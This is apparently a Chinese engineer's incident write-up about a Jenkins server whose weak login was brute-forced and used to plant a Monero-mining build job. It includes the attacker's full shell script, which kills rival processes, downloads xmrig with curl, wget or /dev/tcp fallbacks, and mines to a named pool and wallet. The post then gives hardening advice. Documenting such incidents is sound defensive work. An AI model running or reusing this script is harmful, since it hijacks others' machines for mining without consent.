作者:一盏烛光,贤牛特邀工程师。

防伪码:三十功名尘与土,八千里路云和月。

公元 2020/04/16 4:38 分,登录线上服务器,执行 top 命令执行,发现已经崩了…

我们的 Jenkins 数据是从广州研发部 copy 过来的,包括 job 和 plugins 目录,和广州确定了,下图三个项目和他们无关。

查看控制台构建输出日志,发现直接把 CPU 搞崩了

然后看这个莫名其妙的未知项目,发现里面有脚本配置:

#!/bin/bash
if [[ $(whoami) != "root" ]]; thenfor tr in $(ps -U $(whoami) | egrep -v "java|ps|sh|egrep|grep|PID" | cut -b1-6); dokill -9 $tr || : ;done;
fi
threadCount=$(lscpu | grep 'CPU(s)' | grep -v ',' | awk '{print $2}' | head -n 1);
hostHash=$(hostname -f | md5sum | cut -c1-8);
echo "${hostHash} - ${threadCount}";
_curl () {read proto server path <<<$(echo ${1 })DOC=/${path// //}HOST=${server//:*}PORT=${server//*:}[[ x"${HOST}" == x"${PORT}" ]] && PORT=80exec 3<>/dev/tcp/${HOST}/$PORTecho -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3(while read line; do[[ "$line" == $'\r' ]] && breakdone && cat) <&3exec 3>&-
}
rm -rf config.json;
d () {curl -L --insecure --connect-timeout 5 --max-time 40 --fail $1 -o $2 2> /dev/null || wget --no-check-certificate --timeout 40 --tries 1 $1 -O $2 2> /dev/null || _curl $1 > $2;
}test ! -s trace && \d https://github.com/xmrig/xmrig/releases/download/v5.5.2/xmrig-5.5.2-xenial-x64.tar.gz trace.tgz && \tar -zxvf trace.tgz && \mv xmrig-5.5.2/xmrig trace && \rm -rf xmrig-5.5.2 && \rm -rf trace.tgz;
test ! -x trace && chmod +x trace;
k() {./trace \-r 2 \-R 2 \--keepalive \--no-color \--donate-level 1 \--max-cpu-usage 100 \--cpu-priority 3 \--print-time 25 \--threads ${threadCount:-4} \--url $1 \--user 49RaGEt31SBcxHgJXcZ6HP9b3rrCSRoAYYVuRdjQVhpsUjh2gh9R6xMKshXL9oBQ7JPjF6A21PuxbbDhbjAuTuKT3s7ioo9 \--pass x \--keepalive
}
k pool.minexmr.com:4444

此时只需要禁用该 Workspace,并关闭已启动的进程即可,服务器就此恢复正常。

此时,发现 Jenkins 服务因为物理内存不足启动报错了:

凌晨在不影响用户的情况下重启了实例,Jenkins 和 nacos 服务都正常:

后端:

前端:

网上看了很多前辈的经验,回头总结一下发现,整个安全事件的根本原因在于 Jenkins 的没有设置密码验证机制,密码输入错误后可以马上无间断的再次输入,且没有输入次数限制,该安全隐患在安装 Jenkins 之处的时候就已经发现了。

但是当时没有处理,因此给 hacker 暴力破解提供了可能性,剩下的就简单多了,hacker 暴力破解后,创建了一个 workspace,并编写 build脚 本,并在服务器上安装挖矿程序,然后推出。

索性是夜间出了问题,我及时发现,然后立即去 Jenkins 开启安全设置。

检查 crontab 任务是否有异常,发现并无异常。

准确讲这并不算一个病毒,只是别人利用密码验证机制的漏洞,通过 Jenkins 在服务器上部署了一个占用资源非常庞大的应用程序,客观的说这个应用程序对系统也是无害的。

但从安全角度上讲,Hacker 是有能力通过这一漏洞对系统进行破坏的,所幸的是这是一个线上联调服务器,不会带来直接的经济损失,但此处被 hack 的经历,确实暴漏出我对服务器安全的不重视,算是一次没有“花钱”买的教训。

其实,安全只是相对的,没有绝对的安全可言,还是要提高意识,做好监控,做到及时发现,及时响应!

建议办法:

  1. DNS 解析只做到公司 DNS 服务器上 不做外面的服务器 (我都不知道有这么个网址 我怎么黑啊) ;
  2. 服务器上做 vim /etc/host.deny设置,写上数量有限的IP 或者网段;
  3. 果是通过 ngx 发布 里面也可以设置黑白名单;
  4. 只允许内网访问(路由器和云服务器的内外网打通);
  5. 降低权限;
  6. 公网入口应用硬件防火墙,或者部署跳板机;
  7. 每天(9-18)可以发布,其他时间发布,需要有领导审批,因为一般都是夜里黑你;

贤牛:让 IT 服务畅行天下

成为【贤牛】工程师,按需运维,灵活用工,让运维工程师多赚一些零花钱,多一些企业级运维经验。

线上服务器突然崩了!?Jenkins 服务器中挖坑病毒解决方案相关推荐

  1. gta5线上模式进不去云服务器,gta5ol线上连不上服务器|云端存档同步发生错误

    很多玩家都喜欢玩gta5ol,要是发生游戏连不上服务器的情况,该怎么办呢? 遇到这个情况不要着急,这不是你的网络出了问题,遇到这个情况,是可以登录social club,却不能进入游戏线上,因为这个是 ...

  2. PHP 将线上的图片保存到本地服务器

    /***@describe 将远程的图片保存到本地服务器*@param $url 线上图片地址 necessary*@return*/public function getOnLineImg($url ...

  3. 线上直播 | NVIDIA TensorRT在神经机器翻译中的应用

    神经机器翻译(Neural Machine Translation,简称 NMT)存在于各种各样的消费者应用程序中,包括 web 站点.路标.在外语中生成字幕等. NVIDIA 的可编程推理加速器 T ...

  4. 【LiveVideoStack线上分享】— 视频生产环境下的音视频解决方案

    随着云剪辑.云导播.音视频生产在线协作的兴起, 生产环境下的音视频处理越发为人所关注.音视频处理在生产环境下,有着更高的控制精准性的要求.从服务端到客户端,精准的时间控制.画面控制都是生产环境音视频和 ...

  5. 行驶在傍山的道路上_进藏线上那些唯美弯道,行驶中却充满风险,自驾游要注意几个事项...

    自驾游走在进藏线上,会看到很多唯美的弯道,车子蜿蜒而上,道路像舞动的长龙或彩带,这美景似在天边,也在眼前,煞是好看. 这些不规则的弯道,在摄影人镜头里是漂亮的风景,但在开车人心里却是战战兢兢的驾驶,特 ...

  6. 河马书来了!线上实验领域的“圣经”火热预售中

    从日常运营.产品开发上线到长期目标决策,线上对照实验贯穿于互联网公司的方方面面.在实践中,最基本的问题是实验的可信赖度:如何科学严谨地设计和运行实验,从而保证结果是准确.可信赖的? 在实践中,我们会尝 ...

  7. 【线上分享】视频直播与远程会议中的AI关键技术应用及创新

    视频直播与视频会议已经成为人们生活.工作当中必不可少的内容,并逐渐转变为常态化需求.随之而来的是人们对于视频质量及体验的要求也越来越高,如高分辨率.实时.互动性等.随着AI技术的发展及应用,借助AI的 ...

  8. 线上bug检测工具 android,Android 测试中对于偶现且难以重现的 bug 的处理

    吐槽 请先允许我对此类 bug 进行吐槽,相信做测试的同学都碰见过这种 bug! 我们在测试过程中经常会碰见一类很头疼的 bug,就是偶现性的 bug,所谓偶现性,是相对于必现而言,这类 bug 有些 ...

  9. 线上课程推荐 | 计算机方向:无人驾驶中的环境感知

    由于篇幅有限,余下课程详情无法展示,如需了解更多课程内容及费用,请扫描下方二维码添加课程小助手,备注[课程]即可解锁更多课程细节 如果以上课程不是你感兴趣的研究方向.专业课题,我们还为读者送出了专属福 ...

最新文章

  1. brain.js 时间序列_免费的Brain JS课程学习JavaScript中的神经网络
  2. 为什么一定要回家?因为我们是中国人
  3. cisco SMD 配置安装
  4. Jquery提交表单 Form.js官方插件介绍
  5. 用 Python+openpose 实现抖音尬舞机
  6. 121 Best Time to Buy and Sell Stock
  7. 电商千万级交易的金手指:分布式事务管理
  8. 网站去色的通用方法(简单)
  9. numpy 矩阵拼接_Python实践代码总结第10集(Numpy)
  10. NVIDIA Jetson TX2简介
  11. 使用周权重指数追踪及预测咖啡店销售数据
  12. 关于VS.NET中多个项目的工程相互引用和多个dll引用的问题! - antony--异域空间 - 博客园
  13. 夏季养生要以“清”为贵
  14. Windows常用快捷键及结束explorer.exe出现蓝屏的办法
  15. 守护游戏安全,保障开发权益丨客户案例
  16. 2.1 Java范型
  17. nbextensions安装完不显示,404 GET /static/components/marked/lib/marked.js?v=20230331152041
  18. 彩虹六号mute影响服务器笑话,有哪些《彩虹六号》玩家才懂的笑话?
  19. Python 在线多人游戏开发教程 Day05#石头剪刀布游戏
  20. 超神狙击游戏服务器维护中,超神狙击新手常见问题FAQ

热门文章

  1. 新华社客户端文章:区块链金融:新蓝海还是新挑战
  2. TED 不要变成自己人生的旁观者
  3. Revit-调用系统命令-PostCommand
  4. ddos攻击是利用什么进行攻击
  5. linux cp拷贝一个文件到另一个目录,cp命令复制文件夹到另一个文件夹的注意事项 - 翟码农技术博客...
  6. 如何删除和添加word的脚注那个横线
  7. 传说中的“高温补贴”
  8. 《翻转组件库之init项目》
  9. 小米实习生笔试题风口的猪-中国牛市Java代码
  10. jsp 自动倒数_JSP中的倒数计时器